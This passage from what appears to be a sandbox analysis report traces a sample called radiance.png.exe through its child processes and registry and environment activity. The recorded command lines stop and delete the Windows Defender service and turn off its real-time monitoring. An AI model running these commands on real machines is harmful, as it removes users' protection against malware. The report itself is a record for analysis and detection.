Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine - True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Environment value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 4
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Filename - process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
User (11)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Get Username user_name_out = 2XC7u663GxWc True 10
Fn
System (6)
»
Operation Additional Information Success Count Logfile
Get Info type = Operating System True 4
Fn
Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Get Info type = Hardware Information True 1
Fn
Environment (125)
»
Operation Additional Information Success Count Logfile
Get Environment String name = MshEnableTrace False 116
Fn
Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Get Environment String name = HOMEPATH, result_out = \Users\2XC7u663GxWc True 1
Fn
Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Get Environment String name = HomePath, result_out = \Users\2XC7u663GxWc True 1
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Get Environment String name = PATH True 1
Fn
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
Set Environment String name = PSMODULEPATH, value = C:\Users\2XC7u663GxWc\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Process #8: cmd.exe
60 0
»
Information Value
ID #8
File Name c:\windows\system32\cmd.exe
Command Line /c sc stop WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:45, Reason: Child Process
Unmonitor End Time: 00:00:46, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xeb8
Parent PID 0xd50 (c:\users\2xc7u663gxwc\desktop\radiance.png.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x EBC
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 200, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0xed0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x49d60000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:21 (UTC) True 1
Fn
Get Time type = Ticks, time = 10896123 True 1
Fn
Get Time type = Performance Ctr, time = 11918099119 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000005 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #9: sc.exe
9 0
»
Information Value
ID #9
File Name c:\windows\system32\sc.exe
Command Line sc stop WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:45, Reason: Child Process
Unmonitor End Time: 00:00:46, Reason: Self Terminated
Monitor Duration 00:00:00
OS Process Information
»
Information Value
PID 0xed0
Parent PID 0xeb8 (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x ED4
0x ED8
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 51 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\sc.exe base_address = 0xc50000 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:21 (UTC) True 1
Fn
Get Time type = Ticks, time = 10896186 True 1
Fn
Get Time type = Performance Ctr, time = 11924134033 True 1
Fn
Process #10: cmd.exe
60 0
»
Information Value
ID #10
File Name c:\windows\system32\cmd.exe
Command Line /c sc delete WinDefend
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:46, Reason: Child Process
Unmonitor End Time: 00:00:48, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xedc
Parent PID 0xd50 (c:\users\2xc7u663gxwc\desktop\radiance.png.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x EE0
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 200, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0xf14, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a830000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:23 (UTC) True 1
Fn
Get Time type = Ticks, time = 10897559 True 1
Fn
Get Time type = Performance Ctr, time = 12060860401 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000005 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #11: cmd.exe
60 0
»
Information Value
ID #11
File Name c:\windows\system32\cmd.exe
Command Line /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:46, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:16
OS Process Information
»
Information Value
PID 0xeec
Parent PID 0xd50 (c:\users\2xc7u663gxwc\desktop\radiance.png.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x EF0
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 144, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0xf04, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a830000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 1627-02-24 06:58:23 (UTC) True 1
Fn
Get Time type = Ticks, time = 10897340 True 1
Fn
Get Time type = Performance Ctr, time = 12040302238 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #12: powershell.exe
820 0
»
Information Value
ID #12
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powershell Set-MpPreference -DisableRealtimeMonitoring $true
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:46, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:15
OS Process Information
»
Information Value
PID 0xf04
Parent PID 0xeec (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
